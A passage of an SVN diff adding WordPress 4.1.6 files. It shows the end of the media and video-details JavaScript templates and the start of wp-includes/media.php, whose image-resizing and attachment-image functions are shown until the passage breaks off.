+					<a class="remove-setting"><?php _e( 'Remove' ); ?></a>
+				</label>
+				<# } #>
+				<?php endforeach ?>
+
+				<# if ( ! _.isEmpty( html5types ) ) { #>
+				<div class="setting">
+					<span><?php _e( 'Add alternate sources for maximum HTML5 playback:' ) ?></span>
+					<div class="button-large">
+					<# _.each( html5types, function (mime, type) { #>
+					<button class="button add-media-source" data-mime="{{ mime }}">{{ type }}</button>
+					<# } ) #>
+					</div>
+				</div>
+				<# } #>
+
+				<div class="setting preload">
+					<span><?php _e( 'Preload' ); ?></span>
+					<div class="button-group button-large" data-setting="preload">
+						<button class="button" value="auto"><?php _ex( 'Auto', 'auto preload' ); ?></button>
+						<button class="button" value="metadata"><?php _e( 'Metadata' ); ?></button>
+						<button class="button active" value="none"><?php _e( 'None' ); ?></button>
+					</div>
+				</div>
+
+				<label class="setting checkbox-setting">
+					<input type="checkbox" data-setting="autoplay" />
+					<span><?php _e( 'Autoplay' ); ?></span>
+				</label>
+
+				<label class="setting checkbox-setting">
+					<input type="checkbox" data-setting="loop" />
+					<span><?php _e( 'Loop' ); ?></span>
+				</label>
+			</div>
+		</div>
+	</script>
+
+	<script type="text/html" id="tmpl-video-details">
+		<# var ext, html5types = {
+			mp4: wp.media.view.settings.embedMimes.mp4,
+			ogv: wp.media.view.settings.embedMimes.ogv,
+			webm: wp.media.view.settings.embedMimes.webm
+		}; #>
+
+		<?php $video_types = wp_get_video_extensions(); ?>
+		<div class="media-embed media-embed-details">
+			<div class="embed-media-settings embed-video-settings">
+				<div class="wp-video-holder">
+				<#
+				var isYouTube = ! _.isEmpty( data.model.src ) && data.model.src.match(/youtube|youtu\.be/);
+					w = ! data.model.width || data.model.width > 640 ? 640 : data.model.width,
+					h = ! data.model.height ? 360 : data.model.height;
+
+				if ( data.model.width && w !== data.model.width ) {
+					h = Math.ceil( ( h * w ) / data.model.width );
+				}
+				#>
+
+				<?php wp_underscore_video_template() ?>
+
+				<# if ( ! _.isEmpty( data.model.src ) ) {
+					ext = data.model.src.split('.').pop();
+					if ( html5types[ ext ] ) {
+						delete html5types[ ext ];
+					}
+				#>
+				<label class="setting">
+					<span>SRC</span>
+					<input type="text" disabled="disabled" data-setting="src" value="{{ data.model.src }}" />
+					<a class="remove-setting"><?php _e( 'Remove' ); ?></a>
+				</label>
+				<# } #>
+				<?php foreach ( $video_types as $type ):
+				?><# if ( ! _.isEmpty( data.model.<?php echo $type ?> ) ) {
+					if ( ! _.isUndefined( html5types.<?php echo $type ?> ) ) {
+						delete html5types.<?php echo $type ?>;
+					}
+				#>
+				<label class="setting">
+					<span><?php echo strtoupper( $type ) ?></span>
+					<input type="text" disabled="disabled" data-setting="<?php echo $type ?>" value="{{ data.model.<?php echo $type ?> }}" />
+					<a class="remove-setting"><?php _e( 'Remove' ); ?></a>
+				</label>
+				<# } #>
+				<?php endforeach ?>
+				</div>
+
+				<# if ( ! _.isEmpty( html5types ) ) { #>
+				<div class="setting">
+					<span><?php _e( 'Add alternate sources for maximum HTML5 playback:' ); ?></span>
+					<div class="button-large">
+					<# _.each( html5types, function (mime, type) { #>
+					<button class="button add-media-source" data-mime="{{ mime }}">{{ type }}</button>
+					<# } ) #>
+					</div>
+				</div>
+				<# } #>
+
+				<# if ( ! _.isEmpty( data.model.poster ) ) { #>
+				<label class="setting">
+					<span><?php _e( 'Poster Image' ); ?></span>
+					<input type="text" disabled="disabled" data-setting="poster" value="{{ data.model.poster }}" />
+					<a class="remove-setting"><?php _e( 'Remove' ); ?></a>
+				</label>
+				<# } #>
+				<div class="setting preload">
+					<span><?php _e( 'Preload' ); ?></span>
+					<div class="button-group button-large" data-setting="preload">
+						<button class="button" value="auto"><?php _ex( 'Auto', 'auto preload' ); ?></button>
+						<button class="button" value="metadata"><?php _e( 'Metadata' ); ?></button>
+						<button class="button active" value="none"><?php _e( 'None' ); ?></button>
+					</div>
+				</div>
+
+				<label class="setting checkbox-setting">
+					<input type="checkbox" data-setting="autoplay" />
+					<span><?php _e( 'Autoplay' ); ?></span>
+				</label>
+
+				<label class="setting checkbox-setting">
+					<input type="checkbox" data-setting="loop" />
+					<span><?php _e( 'Loop' ); ?></span>
+				</label>
+
+				<label class="setting" data-setting="content">
+					<span><?php _e( 'Tracks (subtitles, captions, descriptions, chapters, or metadata)' ); ?></span>
+					<#
+					var content = '';
+					if ( ! _.isEmpty( data.model.content ) ) {
+						var tracks = jQuery( data.model.content ).filter( 'track' );
+						_.each( tracks.toArray(), function (track) {
+							content += track.outerHTML; #>
+						<p>
+							<input class="content-track" type="text" value="{{ track.outerHTML }}" />
+							<a class="remove-setting remove-track"><?php _e( 'Remove' ); ?></a>
+						</p>
+						<# } ); #>
+					<# } else { #>
+					<em><?php _e( 'There are no associated subtitles.' ); ?></em>
+					<# } #>
+					<textarea class="hidden content-setting">{{ content }}</textarea>
+				</label>
+			</div>
+		</div>
+	</script>
+
+	<script type="text/html" id="tmpl-editor-gallery">
+		<# if ( data.attachments ) { #>
+			<div class="gallery gallery-columns-{{ data.columns }}">
+				<# _.each( data.attachments, function( attachment, index ) { #>
+					<dl class="gallery-item">
+						<dt class="gallery-icon">
+							<# if ( attachment.thumbnail ) { #>
+								<img src="{{ attachment.thumbnail.url }}" width="{{ attachment.thumbnail.width }}" height="{{ attachment.thumbnail.height }}" />
+							<# } else { #>
+								<img src="{{ attachment.url }}" />
+							<# } #>
+						</dt>
+						<# if ( attachment.caption ) { #>
+							<dd class="wp-caption-text gallery-caption">
+								{{ attachment.caption }}
+							</dd>
+						<# } #>
+					</dl>
+					<# if ( index % data.columns === data.columns - 1 ) { #>
+						<br style="clear: both;">
+					<# } #>
+				<# } ); #>
+			</div>
+		<# } else { #>
+			<div class="wpview-error">
+				<div class="dashicons dashicons-format-gallery"></div><p><?php _e( 'No items found.' ); ?></p>
+			</div>
+		<# } #>
+	</script>
+
+	<script type="text/html" id="tmpl-crop-content">
+		<img class="crop-image" src="{{ data.url }}">
+		<div class="upload-errors"></div>
+	</script>
+
+	<?php
+
+	/**
+	 * Fires when the custom Backbone media templates are printed.
+	 *
+	 * @since 3.5.0
+	 */
+	do_action( 'print_media_templates' );
+}
Index: /tags/4.1.6/src/wp-includes/media.php
===================================================================
--- /tags/4.1.6/src/wp-includes/media.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/media.php	(revision 33402)
@@ -0,0 +1,3324 @@
+<?php
+/**
+ * WordPress API for media display.
+ *
+ * @package WordPress
+ * @subpackage Media
+ */
+
+/**
+ * Scale down the default size of an image.
+ *
+ * This is so that the image is a better fit for the editor and theme.
+ *
+ * The `$size` parameter accepts either an array or a string. The supported string
+ * values are 'thumb' or 'thumbnail' for the given thumbnail size or defaults at
+ * 128 width and 96 height in pixels. Also supported for the string value is
+ * 'medium' and 'full'. The 'full' isn't actually supported, but any value other
+ * than the supported will result in the content_width size or 500 if that is
+ * not set.
+ *
+ * Finally, there is a filter named {@see 'editor_max_image_size'}, that will be
+ * called on the calculated array for width and height, respectively. The second
+ * parameter will be the value that was in the $size parameter. The returned
+ * type for the hook is an array with the width as the first element and the
+ * height as the second element.
+ *
+ * @since 2.5.0
+ *
+ * @param int          $width   Width of the image in pixels.
+ * @param int          $height  Height of the image in pixels.
+ * @param string|array $size    Optional. Size or array of sizes of what the result image
+ *                              should be. Accepts any valid image size name. Default 'medium'.
+ * @param string       $context Optional. Could be 'display' (like in a theme) or 'edit'
+ *                              (like inserting into an editor). Default null.
+ * @return array Width and height of what the result image should resize to.
+ */
+function image_constrain_size_for_editor( $width, $height, $size = 'medium', $context = null ) {
+	global $content_width, $_wp_additional_image_sizes;
+
+	if ( ! $context )
+		$context = is_admin() ? 'edit' : 'display';
+
+	if ( is_array($size) ) {
+		$max_width = $size[0];
+		$max_height = $size[1];
+	}
+	elseif ( $size == 'thumb' || $size == 'thumbnail' ) {
+		$max_width = intval(get_option('thumbnail_size_w'));
+		$max_height = intval(get_option('thumbnail_size_h'));
+		// last chance thumbnail size defaults
+		if ( !$max_width && !$max_height ) {
+			$max_width = 128;
+			$max_height = 96;
+		}
+	}
+	elseif ( $size == 'medium' ) {
+		$max_width = intval(get_option('medium_size_w'));
+		$max_height = intval(get_option('medium_size_h'));
+		// if no width is set, default to the theme content width if available
+	}
+	elseif ( $size == 'large' ) {
+		// We're inserting a large size image into the editor. If it's a really
+		// big image we'll scale it down to fit reasonably within the editor
+		// itself, and within the theme's content width if it's known. The user
+		// can resize it in the editor if they wish.
+		$max_width = intval(get_option('large_size_w'));
+		$max_height = intval(get_option('large_size_h'));
+		if ( intval($content_width) > 0 )
+			$max_width = min( intval($content_width), $max_width );
+	} elseif ( isset( $_wp_additional_image_sizes ) && count( $_wp_additional_image_sizes ) && in_array( $size, array_keys( $_wp_additional_image_sizes ) ) ) {
+		$max_width = intval( $_wp_additional_image_sizes[$size]['width'] );
+		$max_height = intval( $_wp_additional_image_sizes[$size]['height'] );
+		if ( intval($content_width) > 0 && 'edit' == $context ) // Only in admin. Assume that theme authors know what they're doing.
+			$max_width = min( intval($content_width), $max_width );
+	}
+	// $size == 'full' has no constraint
+	else {
+		$max_width = $width;
+		$max_height = $height;
+	}
+
+	/**
+	 * Filter the maximum image size dimensions for the editor.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array        $max_image_size An array with the width as the first element,
+	 *                                     and the height as the second element.
+	 * @param string|array $size           Size of what the result image should be.
+	 * @param string       $context        The context the image is being resized for.
+	 *                                     Possible values are 'display' (like in a theme)
+	 *                                     or 'edit' (like inserting into an editor).
+	 */
+	list( $max_width, $max_height ) = apply_filters( 'editor_max_image_size', array( $max_width, $max_height ), $size, $context );
+
+	return wp_constrain_dimensions( $width, $height, $max_width, $max_height );
+}
+
+/**
+ * Retrieve width and height attributes using given width and height values.
+ *
+ * Both attributes are required in the sense that both parameters must have a
+ * value, but are optional in that if you set them to false or null, then they
+ * will not be added to the returned string.
+ *
+ * You can set the value using a string, but it will only take numeric values.
+ * If you wish to put 'px' after the numbers, then it will be stripped out of
+ * the return.
+ *
+ * @since 2.5.0
+ *
+ * @param int|string $width Optional. Width attribute value.
+ * @param int|string $height Optional. Height attribute value.
+ * @return string HTML attributes for width and, or height.
+ */
+function image_hwstring($width, $height) {
+	$out = '';
+	if ($width)
+		$out .= 'width="'.intval($width).'" ';
+	if ($height)
+		$out .= 'height="'.intval($height).'" ';
+	return $out;
+}
+
+/**
+ * Scale an image to fit a particular size (such as 'thumb' or 'medium').
+ *
+ * Array with image url, width, height, and whether is intermediate size, in
+ * that order is returned on success is returned. $is_intermediate is true if
+ * $url is a resized image, false if it is the original.
+ *
+ * The URL might be the original image, or it might be a resized version. This
+ * function won't create a new resized copy, it will just return an already
+ * resized one if it exists.
+ *
+ * A plugin may use the 'image_downsize' filter to hook into and offer image
+ * resizing services for images. The hook must return an array with the same
+ * elements that are returned in the function. The first element being the URL
+ * to the new image that was resized.
+ *
+ * @since 2.5.0
+ *
+ * @param int $id Attachment ID for image.
+ * @param array|string $size Optional, default is 'medium'. Size of image, either array or string.
+ * @return bool|array False on failure, array on success.
+ */
+function image_downsize($id, $size = 'medium') {
+
+	if ( !wp_attachment_is_image($id) )
+		return false;
+
+	/**
+	 * Filter whether to preempt the output of image_downsize().
+	 *
+	 * Passing a truthy value to the filter will effectively short-circuit
+	 * down-sizing the image, returning that value as output instead.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param bool         $downsize Whether to short-circuit the image downsize. Default false.
+	 * @param int          $id       Attachment ID for image.
+	 * @param array|string $size     Size of image, either array or string. Default 'medium'.
+	 */
+	if ( $out = apply_filters( 'image_downsize', false, $id, $size ) ) {
+		return $out;
+	}
+
+	$img_url = wp_get_attachment_url($id);
+	$meta = wp_get_attachment_metadata($id);
+	$width = $height = 0;
+	$is_intermediate = false;
+	$img_url_basename = wp_basename($img_url);
+
+	// try for a new style intermediate size
+	if ( $intermediate = image_get_intermediate_size($id, $size) ) {
+		$img_url = str_replace($img_url_basename, $intermediate['file'], $img_url);
+		$width = $intermediate['width'];
+		$height = $intermediate['height'];
+		$is_intermediate = true;
+	}
+	elseif ( $size == 'thumbnail' ) {
+		// fall back to the old thumbnail
+		if ( ($thumb_file = wp_get_attachment_thumb_file($id)) && $info = getimagesize($thumb_file) ) {
+			$img_url = str_replace($img_url_basename, wp_basename($thumb_file), $img_url);
+			$width = $info[0];
+			$height = $info[1];
+			$is_intermediate = true;
+		}
+	}
+	if ( !$width && !$height && isset( $meta['width'], $meta['height'] ) ) {
+		// any other type: use the real image
+		$width = $meta['width'];
+		$height = $meta['height'];
+	}
+
+	if ( $img_url) {
+		// we have the actual image size, but might need to further constrain it if content_width is narrower
+		list( $width, $height ) = image_constrain_size_for_editor( $width, $height, $size );
+
+		return array( $img_url, $width, $height, $is_intermediate );
+	}
+	return false;
+
+}
+
+/**
+ * Register a new image size.
+ *
+ * Cropping behavior for the image size is dependent on the value of $crop:
+ * 1. If false (default), images will be scaled, not cropped.
+ * 2. If an array in the form of array( x_crop_position, y_crop_position ):
+ *    - x_crop_position accepts 'left' 'center', or 'right'.
+ *    - y_crop_position accepts 'top', 'center', or 'bottom'.
+ *    Images will be cropped to the specified dimensions within the defined crop area.
+ * 3. If true, images will be cropped to the specified dimensions using center positions.
+ *
+ * @since 2.9.0
+ *
+ * @global array $_wp_additional_image_sizes Associative array of additional image sizes.
+ *
+ * @param string     $name   Image size identifier.
+ * @param int        $width  Image width in pixels.
+ * @param int        $height Image height in pixels.
+ * @param bool|array $crop   Optional. Whether to crop images to specified height and width or resize.
+ *                           An array can specify positioning of the crop area. Default false.
+ */
+function add_image_size( $name, $width = 0, $height = 0, $crop = false ) {
+	global $_wp_additional_image_sizes;
+
+	$_wp_additional_image_sizes[ $name ] = array(
+		'width'  => absint( $width ),
+		'height' => absint( $height ),
+		'crop'   => $crop,
+	);
+}
+
+/**
+ * Check if an image size exists.
+ *
+ * @since 3.9.0
+ *
+ * @param string $name The image size to check.
+ * @return bool True if the image size exists, false if not.
+ */
+function has_image_size( $name ) {
+	global $_wp_additional_image_sizes;
+
+	return isset( $_wp_additional_image_sizes[ $name ] );
+}
+
+/**
+ * Remove a new image size.
+ *
+ * @since 3.9.0
+ *
+ * @param string $name The image size to remove.
+ * @return bool True if the image size was successfully removed, false on failure.
+ */
+function remove_image_size( $name ) {
+	global $_wp_additional_image_sizes;
+
+	if ( isset( $_wp_additional_image_sizes[ $name ] ) ) {
+		unset( $_wp_additional_image_sizes[ $name ] );
+		return true;
+	}
+
+	return false;
+}
+
+/**
+ * Registers an image size for the post thumbnail.
+ *
+ * @since 2.9.0
+ *
+ * @see add_image_size() for details on cropping behavior.
+ *
+ * @param int        $width  Image width in pixels.
+ * @param int        $height Image height in pixels.
+ * @param bool|array $crop   Optional. Whether to crop images to specified height and width or resize.
+ *                           An array can specify positioning of the crop area. Default false.
+ */
+function set_post_thumbnail_size( $width = 0, $height = 0, $crop = false ) {
+	add_image_size( 'post-thumbnail', $width, $height, $crop );
+}
+
+/**
+ * An <img src /> tag for an image attachment, scaling it down if requested.
+ *
+ * The filter 'get_image_tag_class' allows for changing the class name for the
+ * image without having to use regular expressions on the HTML content. The
+ * parameters are: what WordPress will use for the class, the Attachment ID,
+ * image align value, and the size the image should be.
+ *
+ * The second filter 'get_image_tag' has the HTML content, which can then be
+ * further manipulated by a plugin to change all attribute values and even HTML
+ * content.
+ *
+ * @since 2.5.0
+ *
+ * @param int $id Attachment ID.
+ * @param string $alt Image Description for the alt attribute.
+ * @param string $title Image Description for the title attribute.
+ * @param string $align Part of the class name for aligning the image.
+ * @param string $size Optional. Default is 'medium'.
+ * @return string HTML IMG element for given image attachment
+ */
+function get_image_tag($id, $alt, $title, $align, $size='medium') {
+
+	list( $img_src, $width, $height ) = image_downsize($id, $size);
+	$hwstring = image_hwstring($width, $height);
+
+	$title = $title ? 'title="' . esc_attr( $title ) . '" ' : '';
+
+	$class = 'align' . esc_attr($align) .' size-' . esc_attr($size) . ' wp-image-' . $id;
+
+	/**
+	 * Filter the value of the attachment's image tag class attribute.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param string $class CSS class name or space-separated list of classes.
+	 * @param int    $id    Attachment ID.
+	 * @param string $align Part of the class name for aligning the image.
+	 * @param string $size  Optional. Default is 'medium'.
+	 */
+	$class = apply_filters( 'get_image_tag_class', $class, $id, $align, $size );
+
+	$html = '<img src="' . esc_attr($img_src) . '" alt="' . esc_attr($alt) . '" ' . $title . $hwstring . 'class="' . $class . '" />';
+
+	/**
+	 * Filter the HTML content for the image tag.
+	 *
+	 * @since 2.6.0
+	 *
+	 * @param string $html  HTML content for the image.
+	 * @param int    $id    Attachment ID.
+	 * @param string $alt   Alternate text.
+	 * @param string $title Attachment title.
+	 * @param string $align Part of the class name for aligning the image.
+	 * @param string $size  Optional. Default is 'medium'.
+	 */
+	$html = apply_filters( 'get_image_tag', $html, $id, $alt, $title, $align, $size );
+
+	return $html;
+}
+
+/**
+ * Calculates the new dimensions for a downsampled image.
+ *
+ * If either width or height are empty, no constraint is applied on
+ * that dimension.
+ *
+ * @since 2.5.0
+ *
+ * @param int $current_width Current width of the image.
+ * @param int $current_height Current height of the image.
+ * @param int $max_width Optional. Maximum wanted width.
+ * @param int $max_height Optional. Maximum wanted height.
+ * @return array First item is the width, the second item is the height.
+ */
+function wp_constrain_dimensions( $current_width, $current_height, $max_width=0, $max_height=0 ) {
+	if ( !$max_width and !$max_height )
+		return array( $current_width, $current_height );
+
+	$width_ratio = $height_ratio = 1.0;
+	$did_width = $did_height = false;
+
+	if ( $max_width > 0 && $current_width > 0 && $current_width > $max_width ) {
+		$width_ratio = $max_width / $current_width;
+		$did_width = true;
+	}
+
+	if ( $max_height > 0 && $current_height > 0 && $current_height > $max_height ) {
+		$height_ratio = $max_height / $current_height;
+		$did_height = true;
+	}
+
+	// Calculate the larger/smaller ratios
+	$smaller_ratio = min( $width_ratio, $height_ratio );
+	$larger_ratio  = max( $width_ratio, $height_ratio );
+
+	if ( (int) round( $current_width * $larger_ratio ) > $max_width || (int) round( $current_height * $larger_ratio ) > $max_height ) {
+ 		// The larger ratio is too big. It would result in an overflow.
+		$ratio = $smaller_ratio;
+	} else {
+		// The larger ratio fits, and is likely to be a more "snug" fit.
+		$ratio = $larger_ratio;
+	}
+
+	// Very small dimensions may result in 0, 1 should be the minimum.
+	$w = max ( 1, (int) round( $current_width  * $ratio ) );
+	$h = max ( 1, (int) round( $current_height * $ratio ) );
+
+	// Sometimes, due to rounding, we'll end up with a result like this: 465x700 in a 177x177 box is 117x176... a pixel short
+	// We also have issues with recursive calls resulting in an ever-changing result. Constraining to the result of a constraint should yield the original result.
+	// Thus we look for dimensions that are one pixel shy of the max value and bump them up
+
+	// Note: $did_width means it is possible $smaller_ratio == $width_ratio.
+	if ( $did_width && $w == $max_width - 1 ) {
+		$w = $max_width; // Round it up
+	}
+
+	// Note: $did_height means it is possible $smaller_ratio == $height_ratio.
+	if ( $did_height && $h == $max_height - 1 ) {
+		$h = $max_height; // Round it up
+	}
+
+	return apply_filters( 'wp_constrain_dimensions', array( $w, $h ), $current_width, $current_height, $max_width, $max_height );
+}
+
+/**
+ * Retrieve calculated resize dimensions for use in WP_Image_Editor.
+ *
+ * Calculates dimensions and coordinates for a resized image that fits
+ * within a specified width and height.
+ *
+ * Cropping behavior is dependent on the value of $crop:
+ * 1. If false (default), images will not be cropped.
+ * 2. If an array in the form of array( x_crop_position, y_crop_position ):
+ *    - x_crop_position accepts 'left' 'center', or 'right'.
+ *    - y_crop_position accepts 'top', 'center', or 'bottom'.
+ *    Images will be cropped to the specified dimensions within the defined crop area.
+ * 3. If true, images will be cropped to the specified dimensions using center positions.
+ *
+ * @since 2.5.0
+ *
+ * @param int        $orig_w Original width in pixels.
+ * @param int        $orig_h Original height in pixels.
+ * @param int        $dest_w New width in pixels.
+ * @param int        $dest_h New height in pixels.
+ * @param bool|array $crop   Optional. Whether to crop image to specified height and width or resize.
+ *                           An array can specify positioning of the crop area. Default false.
+ * @return bool|array False on failure. Returned array matches parameters for `imagecopyresampled()`.
+ */
+function image_resize_dimensions($orig_w, $orig_h, $dest_w, $dest_h, $crop = false) {
+
+	if ($orig_w <= 0 || $orig_h <= 0)
+		return false;
+	// at least one of dest_w or dest_h must be specific
+	if ($dest_w <= 0 && $dest_h <= 0)
+		return false;
+
+	/**
+	 * Filter whether to preempt calculating the image resize dimensions.
+	 *
+	 * Passing a non-null value to the filter will effectively short-circuit
+	 * image_resize_dimensions(), returning that value instead.
+	 *
+	 * @since 3.4.0
+	 *
+	 * @param null|mixed $null   Whether to preempt output of the resize dimensions.
+	 * @param int        $orig_w Original width in pixels.
+	 * @param int        $orig_h Original height in pixels.
+	 * @param int        $dest_w New width in pixels.
+	 * @param int        $dest_h New height in pixels.
+	 * @param bool|array $crop   Whether to crop image to specified height and width or resize.
+	 *                           An array can specify positioning of the crop area. Default false.
+	 */
+	$output = apply_filters( 'image_resize_dimensions', null, $orig_w, $orig_h, $dest_w, $dest_h, $crop );
+	if ( null !== $output )
+		return $output;
+
+	if ( $crop ) {
+		// crop the largest possible portion of the original image that we can size to $dest_w x $dest_h
+		$aspect_ratio = $orig_w / $orig_h;
+		$new_w = min($dest_w, $orig_w);
+		$new_h = min($dest_h, $orig_h);
+
+		if ( ! $new_w ) {
+			$new_w = (int) round( $new_h * $aspect_ratio );
+		}
+
+		if ( ! $new_h ) {
+			$new_h = (int) round( $new_w / $aspect_ratio );
+		}
+
+		$size_ratio = max($new_w / $orig_w, $new_h / $orig_h);
+
+		$crop_w = round($new_w / $size_ratio);
+		$crop_h = round($new_h / $size_ratio);
+
+		if ( ! is_array( $crop ) || count( $crop ) !== 2 ) {
+			$crop = array( 'center', 'center' );
+		}
+
+		list( $x, $y ) = $crop;
+
+		if ( 'left' === $x ) {
+			$s_x = 0;
+		} elseif ( 'right' === $x ) {
+			$s_x = $orig_w - $crop_w;
+		} else {
+			$s_x = floor( ( $orig_w - $crop_w ) / 2 );
+		}
+
+		if ( 'top' === $y ) {
+			$s_y = 0;
+		} elseif ( 'bottom' === $y ) {
+			$s_y = $orig_h - $crop_h;
+		} else {
+			$s_y = floor( ( $orig_h - $crop_h ) / 2 );
+		}
+	} else {
+		// don't crop, just resize using $dest_w x $dest_h as a maximum bounding box
+		$crop_w = $orig_w;
+		$crop_h = $orig_h;
+
+		$s_x = 0;
+		$s_y = 0;
+
+		list( $new_w, $new_h ) = wp_constrain_dimensions( $orig_w, $orig_h, $dest_w, $dest_h );
+	}
+
+	// if the resulting image would be the same size or larger we don't want to resize it
+	if ( $new_w >= $orig_w && $new_h >= $orig_h && $dest_w != $orig_w && $dest_h != $orig_h ) {
+		return false;
+	}
+
+	// the return array matches the parameters to imagecopyresampled()
+	// int dst_x, int dst_y, int src_x, int src_y, int dst_w, int dst_h, int src_w, int src_h
+	return array( 0, 0, (int) $s_x, (int) $s_y, (int) $new_w, (int) $new_h, (int) $crop_w, (int) $crop_h );
+
+}
+
+/**
+ * Resize an image to make a thumbnail or intermediate size.
+ *
+ * The returned array has the file size, the image width, and image height. The
+ * filter 'image_make_intermediate_size' can be used to hook in and change the
+ * values of the returned array. The only parameter is the resized file path.
+ *
+ * @since 2.5.0
+ *
+ * @param string $file File path.
+ * @param int $width Image width.
+ * @param int $height Image height.
+ * @param bool $crop Optional, default is false. Whether to crop image to specified height and width or resize.
+ * @return bool|array False, if no image was created. Metadata array on success.
+ */
+function image_make_intermediate_size( $file, $width, $height, $crop = false ) {
+	if ( $width || $height ) {
+		$editor = wp_get_image_editor( $file );
+
+		if ( is_wp_error( $editor ) || is_wp_error( $editor->resize( $width, $height, $crop ) ) )
+			return false;
+
+		$resized_file = $editor->save();
+
+		if ( ! is_wp_error( $resized_file ) && $resized_file ) {
+			unset( $resized_file['path'] );
+			return $resized_file;
+		}
+	}
+	return false;
+}
+
+/**
+ * Retrieve the image's intermediate size (resized) path, width, and height.
+ *
+ * The $size parameter can be an array with the width and height respectively.
+ * If the size matches the 'sizes' metadata array for width and height, then it
+ * will be used. If there is no direct match, then the nearest image size larger
+ * than the specified size will be used. If nothing is found, then the function
+ * will break out and return false.
+ *
+ * The metadata 'sizes' is used for compatible sizes that can be used for the
+ * parameter $size value.
+ *
+ * The url path will be given, when the $size parameter is a string.
+ *
+ * If you are passing an array for the $size, you should consider using
+ * add_image_size() so that a cropped version is generated. It's much more
+ * efficient than having to find the closest-sized image and then having the
+ * browser scale down the image.
+ *
+ * @since 2.5.0
+ * @see add_image_size()
+ *
+ * @param int $post_id Attachment ID for image.
+ * @param array|string $size Optional, default is 'thumbnail'. Size of image, either array or string.
+ * @return bool|array False on failure or array of file path, width, and height on success.
+ */
+function image_get_intermediate_size($post_id, $size='thumbnail') {
+	if ( !is_array( $imagedata = wp_get_attachment_metadata( $post_id ) ) )
+		return false;
+
+	// get the best one for a specified set of dimensions
+	if ( is_array($size) && !empty($imagedata['sizes']) ) {
+		foreach ( $imagedata['sizes'] as $_size => $data ) {
+			// already cropped to width or height; so use this size
+			if ( ( $data['width'] == $size[0] && $data['height'] <= $size[1] ) || ( $data['height'] == $size[1] && $data['width'] <= $size[0] ) ) {
+				$file = $data['file'];
+				list($width, $height) = image_constrain_size_for_editor( $data['width'], $data['height'], $size );
+				return compact( 'file', 'width', 'height' );
+			}
+			// add to lookup table: area => size
+			$areas[$data['width'] * $data['height']] = $_size;
+		}
+		if ( !$size || !empty($areas) ) {
+			// find for the smallest image not smaller than the desired size
+			ksort($areas);
+			foreach ( $areas as $_size ) {
+				$data = $imagedata['sizes'][$_size];
+				if ( $data['width'] >= $size[0] || $data['height'] >= $size[1] ) {
+					// Skip images with unexpectedly divergent aspect ratios (crops)
+					// First, we calculate what size the original image would be if constrained to a box the size of the current image in the loop
+					$maybe_cropped = image_resize_dimensions($imagedata['width'], $imagedata['height'], $data['width'], $data['height'], false );
+					// If the size doesn't match within one pixel, then it is of a different aspect ratio, so we skip it, unless it's the thumbnail size
+					if ( 'thumbnail' != $_size && ( !$maybe_cropped || ( $maybe_cropped[4] != $data['width'] && $maybe_cropped[4] + 1 != $data['width'] ) || ( $maybe_cropped[5] != $data['height'] && $maybe_cropped[5] + 1 != $data['height'] ) ) )
+						continue;
+					// If we're still here, then we're going to use this size
+					$file = $data['file'];
+					list($width, $height) = image_constrain_size_for_editor( $data['width'], $data['height'], $size );
+					return compact( 'file', 'width', 'height' );
+				}
+			}
+		}
+	}
+
+	if ( is_array($size) || empty($size) || empty($imagedata['sizes'][$size]) )
+		return false;
+
+	$data = $imagedata['sizes'][$size];
+	// include the full filesystem path of the intermediate file
+	if ( empty($data['path']) && !empty($data['file']) ) {
+		$file_url = wp_get_attachment_url($post_id);
+		$data['path'] = path_join( dirname($imagedata['file']), $data['file'] );
+		$data['url'] = path_join( dirname($file_url), $data['file'] );
+	}
+	return $data;
+}
+
+/**
+ * Get the available image sizes
+ * @since 3.0.0
+ * @return array Returns a filtered array of image size strings
+ */
+function get_intermediate_image_sizes() {
+	global $_wp_additional_image_sizes;
+	$image_sizes = array('thumbnail', 'medium', 'large'); // Standard sizes
+	if ( isset( $_wp_additional_image_sizes ) && count( $_wp_additional_image_sizes ) )
+		$image_sizes = array_merge( $image_sizes, array_keys( $_wp_additional_image_sizes ) );
+
+	/**
+	 * Filter the list of intermediate image sizes.
+	 *
+	 * @since 2.5.0
+	 *
+	 * @param array $image_sizes An array of intermediate image sizes. Defaults
+	 *                           are 'thumbnail', 'medium', 'large'.
+	 */
+	return apply_filters( 'intermediate_image_sizes', $image_sizes );
+}
+
+/**
+ * Retrieve an image to represent an attachment.
+ *
+ * A mime icon for files, thumbnail or intermediate size for images.
+ *
+ * @since 2.5.0
+ *
+ * @param int $attachment_id Image attachment ID.
+ * @param string $size Optional, default is 'thumbnail'.
+ * @param bool $icon Optional, default is false. Whether it is an icon.
+ * @return bool|array Returns an array (url, width, height), or false, if no image is available.
+ */
+function wp_get_attachment_image_src($attachment_id, $size='thumbnail', $icon = false) {
+
+	// get a thumbnail or intermediate image if there is one
+	if ( $image = image_downsize($attachment_id, $size) )
+		return $image;
+
+	$src = false;
+
+	if ( $icon && $src = wp_mime_type_icon($attachment_id) ) {
+		/** This filter is documented in wp-includes/post.php */
+		$icon_dir = apply_filters( 'icon_dir', ABSPATH . WPINC . '/images/media' );
+		$src_file = $icon_dir . '/' . wp_basename($src);
+		@list($width, $height) = getimagesize($src_file);
+	}
+	if ( $src && $width && $height )
+		return array( $src, $width, $height );
+	return false;
+}
+
+/**
+ * Get an HTML img element representing an image attachment
+ *
+ * While $size will accept an array, it is better to register a size with
+ * add_image_size() so that a cropped version is generated. It's much more
+ * efficient than having to find the closest-sized image and then having the
+ * browser scale down the image.
+ *
+ * @since 2.5.0
+ *
+ * @see add_image_size()
+ *
+ * @param int          $attachment_id Image attachment ID.
+ * @param string|array $size          Optional. Default 'thumbnail'.
+ * @param bool         $icon          Optional. Whether it is an icon. Default false.
+ * @param string|array $attr          Optional. Attributes for the image markup. Default empty string.
+ * @return string HTML img element or empty string on failure.
+ */
+function wp_get_attachment_image($attachment_id, $size = 'thumbnail', $icon = false, $attr = '') {
+
+	$html = '';
+	$image = wp_get_attachment_image_src($attachment_id, $size, $icon);
+	if ( $image ) {
+		list($src, $width, $height) = $image;
+		$hwstring = image_hwstring($width, $height);
+		$size_class = $size;
+		if ( is_array( $size_class ) ) {
+			$size_class = join( 'x', $size_class );
+		}
+		$attachment = get_post($attachment_id);
+		$default_attr = array(
+			'src'	=> $src,
+			'class'	=> "attachment-$size_class",
+			'alt'	=> trim(strip_tags( get_post_meta($attachment_id, '_wp_attachment_image_alt', true) )), // Use Alt field first
+		);
